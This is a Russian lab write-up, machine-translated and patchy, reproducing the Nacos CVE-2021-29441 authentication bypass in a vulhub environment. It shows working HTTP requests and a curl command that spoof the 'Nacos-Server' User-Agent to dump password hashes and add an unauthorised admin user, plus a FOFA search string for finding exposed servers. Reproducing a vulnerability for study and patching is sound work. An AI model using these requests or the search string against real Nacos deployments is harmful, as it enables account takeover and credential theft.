✎ Чтение инструкций
Технические статьи Crow Security предназначены только для справки. Информация, представленная в этой статье, предназначена только для сотрудников сетевой безопасности, которые могут обнаруживать или обслуживать веб-сайты, серверы и т. д. (включая, помимо прочего), за которые они несут ответственность. Пожалуйста, не используйте эту информацию. в статье без авторизации. Техническая информация для выполнения интрузивных операций в любой компьютерной системе. Пользователь несет ответственность за любые прямые или косвенные последствия и убытки, возникшие в результате использования информации, представленной в настоящей статье.
Crow Security имеет право изменять, удалять и интерпретировать эту статью. Если вы перепечатываете или распространяете эту статью, вы должны обеспечить целостность статьи. Перепечатка без разрешения запрещена.
Инструменты, представленные в этой статье, предназначены только для обучения и не могут использоваться для других целей. Удалите файлы инструментов в течение 24 часов! ! !
Время обновления: 2022.06.21.
Справочный документ: https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md.
Nacos — это новый проект с открытым исходным кодом, запущенный Alibaba. Это платформа динамического обнаружения сервисов, управления конфигурациями и сервисами, которая упрощает создание облачных приложений. Предназначен для помощи в обнаружении, настройке и управлении микросервисами. Nacos предоставляет простой в использовании набор функций, который позволяет быстро реализовать динамическое обнаружение сервисов, настройку сервисов, метаданные сервисов и управление трафиком.
Эта уязвимость возникает, когда nacos выполняет операции аутентификации и авторизации. В этом случае аутентификация не будет выполнена. Первоначальное намерение разработчика заключалось в обработке некоторых межсерверных запросов. Однако конфигурация была слишком простой, и в качестве согласованного пользовательского агента был установлен Nacos-Server, который был напрямую жестко запрограммирован в коде, что приводило к уязвимости. Воспользовавшись этой несанкционированной уязвимостью, злоумышленники могут получить конфиденциальную информацию, такую как имена пользователей и пароли.
Затронутые версии: Nacos <= 2.0.0-ALPHA.1
На этот раз используя vulhub для воспроизведения:
docker-compose up -d --build
Проверьте текущий идентификатор докера:
После запуска среды,Порты 3306, 8848, 9848 и 9555 будут открыты.,В этом подвиге,Нам нужно использовать только порт 8848.,То есть порт веб-доступа. При выполнении процесса проверки уязвимостей,Пожалуйста, сначала посетите порт 8848.,Подтвердить открытие,В некоторых случаях служба nacos не запускается (из-за невозможности подключения к базе данных),Вы можете перезапустить службу nacos или перезапустить все службы.
docker-compose restart nacos
Посетите здесь: http://127.0.0.1:8848/nacos/#/login
Посетите страницу
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
во время визита,ВоляUser-Agent
Значение изменяется наNacos-Server
,Отправить на модуль ретранслятора,Взгляните на возвращаемый пакет:
GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
В этот момент вы видите, что возвращенный ответ равен 200.,и содержит текущее имя пользователяnacos
,Пароль — это значение после шифрования с солью.
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Tue, 21 Jun 2022 10:44:10 GMT
Connection: close
Content-Length: 159
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
Добавьте нового пользователя по ссылке ниже:crow
,Обратите внимание на использование метода POST.,并且需要ВоляUser-Agent
Все еще настроен наNacos-Server
。
http://127.0.0.1:8848/nacos/v1/auth/users?username=crow&password=crow
POST /nacos/v1/auth/users HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=crow&password=crow
В настоящее время перейдите по следующей ссылке, чтобы проверить, успешно ли добавлен пользователь.,需要ВоляUser-Agent
Все еще настроен наNacos-Server
。
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
На этом этапе пользователь успешно добавлен, войдите в систему, используя вновь созданную учетную запись:
конечно,Любая регистрация пользователя также может использовать его.curl
добавить,Эффект тот же.
curl -XPOST 'http://127.0.0.1/nacos/v1/auth/users?username=crow&password=crow' -H 'User-Agent: Nacos-Server'
Ключевое слово фофа:title="nacos"
Завершите работу среды сразу после устранения локальных уязвимостей:
Стратегия восстановления заключается в обновлении версии Nacos до последней версии.